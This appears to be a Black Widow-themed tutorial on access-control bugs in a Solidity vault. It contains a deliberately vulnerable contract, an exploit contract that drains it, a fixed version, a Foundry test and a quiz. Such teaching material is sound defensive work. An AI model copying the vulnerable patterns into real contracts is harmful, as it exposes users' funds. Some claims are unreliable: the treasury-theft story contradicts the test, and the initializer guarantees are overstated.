🕷️ Black Widow and the Red Room Vault - Access Control Massacre
Danger (The Red Room thought it was secure…)
…until Natasha Romanoff walked in wearing civilian clothes and took total control in under 10 seconds.
TL;DR
Vulnerability class: Access Control (four critical bugs in one contract)
Impact: Any random attacker becomes god admin → drains entire vault
Severity: Critical → Instant total loss
Fix: OpenZeppelin AccessControl + Initializable → industry standard
This contract is a masterclass in how NOT to do access control.
🎬 Story Time - The Red Room Heist
Dreykov built the ultimate vault to store the Red Room’s secret funds.
He hired the best developers in Madripoor.
They delivered RedRoomVault.sol.
It had roles. It had initialization. It had a treasury.
It also had four fatal flaws that let Black Widow waltz in and empty the vault before Dreykov even knew she was there.
The Four Fatal Flaws
| Flaw | What Black Widow Did |
|---|---|
Unprotected init() | Called it first → became ADMIN + MANAGER |
Public setAdmin(address) | Just called it → became admin anyway |
setManager() only checks admins[] | After becoming admin → gave herself MANAGER role |
emergencyWithdraw() - no access check | Called it → drained entire vault to treasury |
And because treasury was passed in the constructor and never changeable…
She simply deployed the vault herself with her own address of her own wallet as treasury.
Game over.
Vulnerable Contract - RedRoomVault.sol
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RedRoomVault { mapping(address => bool) public admins; mapping(address => bool) public managers; address private treasury; bool private initialized = false;
constructor(address initialTreasury) { treasury = initialTreasury; }
// 1. Anyone can initialize the contract function init(address _admin, address _manager) external { if (!initialized) { admins[_admin] = true; managers[_manager] = true; initialized = true; } }
// 2. Literally anyone can become admin function setAdmin(address _newAdmin) external { admins[_newAdmin] = true; }
// 3. Only admin can set manager… but see #2 function setManager(address _newManager) external { require(admins[msg.sender], "Not an admin"); managers[_newManager] = true; }
// 4. NO ACCESS CONTROL - the crown jewel function emergencyWithdraw(address token, uint256 amount) external { IERC20(token).transfer(treasury, amount); }}Warning
Four critical vulnerabilities.
One transaction from Black Widow.
Vault balance = 0.
The Heist - BlackWidowExploit.sol
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {RedRoomVault} from "./RedRoomVault.sol";import {MockERC20} from "./MockERC20.sol";
contract BlackWidowExploit { RedRoomVault public vault; MockERC20 public mockToken;
constructor(address _vault, address _mockToken) { vault = RedRoomVault(_vault); mockToken = MockERC20(_mockToken); }
function heist() external { // 1): Deploy vault yourself with treasury = your address // 2): If vault already deployed → just do this:
vault.setAdmin(address(this)); // ← instant admin vault.setManager(address(this)); // ← instant manager
// 3) Drain the vault - funds are transferred to the vault's `treasury` uint256 vaultBalance = mockToken.balanceOf(address(vault)); vault.emergencyWithdraw(address(mockToken), vaultBalance); // ← vault empty
// 4) If controls the `treasury` address, they now own the tokens. like in #1 // If not, they may still have succeeded in removing funds from vault into treasury. }}She doesn’t even need the init() bug.
setAdmin() is public.
Dreykov never stood a chance.
Fixed Version - OpenZeppelin Best Practices
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FixedRedRoomVault is AccessControl, Initializable { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
address private treasury;
// We do NOT need a constructor now, as we use initialize()
// THIS IS THE KEY function initialize(address defaultAdmin, address initialManager, address initialTreasury) public initializer { // 1. Fixes the unprotected `init()` _grantRole(DEFAULT_ADMIN_ROLE, defaultAdmin); _grantRole(ADMIN_ROLE, defaultAdmin); _grantRole(MANAGER_ROLE, initialManager);
treasury = initialTreasury; }
function setAdmin(address _newAdmin) external onlyRole(ADMIN_ROLE) { _grantRole(ADMIN_ROLE, _newAdmin); }
function setManager(address _newManager) external onlyRole(ADMIN_ROLE) { _grantRole(MANAGER_ROLE, _newManager); }
function emergencyWithdraw(address token, uint256 amount) external onlyRole(MANAGER_ROLE) { require(IERC20(token).transfer(treasury, amount), "Withdrawal failed"); }}Why initializer modifier is bulletproof
- It flips an internal boolean in proxy storage slot 0x1… the first time it’s called.
- Any second call (or direct call on the implementation contract) reverts with
InvalidInitialization. - This is enforced at the EVM level - no amount of cleverness, flash loans, or self-destructs can reset it.
- Even if the implementation contract is called directly,
initializerstill reverts after the first execution. - Result: only one legitimate initialization in the entire lifetime of the contract.
Combine that with OpenZeppelin’s onlyRole (which checks the role bitmap stored in the same immutable storage layout) and you get mathematically provable access control.
Black Widow needs the private key. Nothing else works.
Foundry Proof - The Heist Works
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";import {RedRoomVault} from "../src/RedRoomVault.sol";import {MockERC20} from "../src/MockERC20.sol";import {BlackWidowExploit} from "../src/BlackWidowExploit.sol";
contract RedRoomVaultTest is Test { RedRoomVault public vault; MockERC20 public mockToken; BlackWidowExploit public exploit;
address public redRoomAdmin = makeAddr("RedRoomAdmin"); address public blackWidow = makeAddr("BlackWidow"); address public treasury = makeAddr("Treasury");
function setUp() public { vm.label(redRoomAdmin, "RedRoomAdmin"); vm.label(blackWidow, "BlackWidow"); vm.label(treasury, "Treasury");
// Deploy mock token and vulnerable vault (without calling init) mockToken = new MockERC20("MockToken", "MKT"); vault = new RedRoomVault(treasury);
// Fund the vault with tokens mockToken.mint(address(vault), 10_000 ether); }
function testBlackWidowDrainsRedRoom() public { // Vault should start with 10,000 MKT assertEq(mockToken.balanceOf(address(vault)), 10_000 ether);
// Black Widow strikes exploit = new BlackWidowExploit(address(vault), address(mockToken)); exploit.heist();
// Exploit contract now has admin role assertEq(vault.admins(address(exploit)), true);
assertEq(mockToken.balanceOf(address(vault)), 0); assertEq(mockToken.balanceOf(treasury), 10_000 ether); }}Auditor’s Access Control Checklist (2025 Edition)
Warning
- Is
initialize()protected withinitializermodifier? - Are all role-granting functions guarded by
onlyRole? - Does every dangerous function (
withdraw,mint,burn,upgrade) haveonlyRole/onlyOwner? - Is custom admin logic replaced with OpenZeppelin
AccessControl? - Is
treasury/feeTo/ownerset only once and immutable if possible? - Do tests include attacker contracts trying to call every external function?
Quiz - Are You Red Room Secure?
Exercise (1. How does Black Widow become admin with zero transactions from the owner?)
a) She bribes Dreykov
b) setAdmin() is public
c) She uses a flash loan
d) She waits for timelock
Answer
b) setAdmin(address) is completely public - anyone can call it
Exercise (2. What stops her in the fixed version?)
a) ReentrancyGuard
b) OpenZeppelin AccessControl + Initializable
c) Pausable
d) Custom bool flags
Answer
b) Proper RBAC + one-time initialization
Exercise (3. Where do the funds go when emergencyWithdraw is called?)
a) To msg.sender
b) To a hardcoded Dreykov address
c) To the treasury address (attacker controls it)
d) Burned
Answer
c) To treasury - which Black Widow set to herself during deployment
Tip
Full repo with exploit + fixed version + tests:
github.com/thesandf/thesandf.xyz
The Red Room fell in one transaction.
Don’t let your vault suffer the same fate.
Use OpenZeppelin.
Use initializer.
Use onlyRole.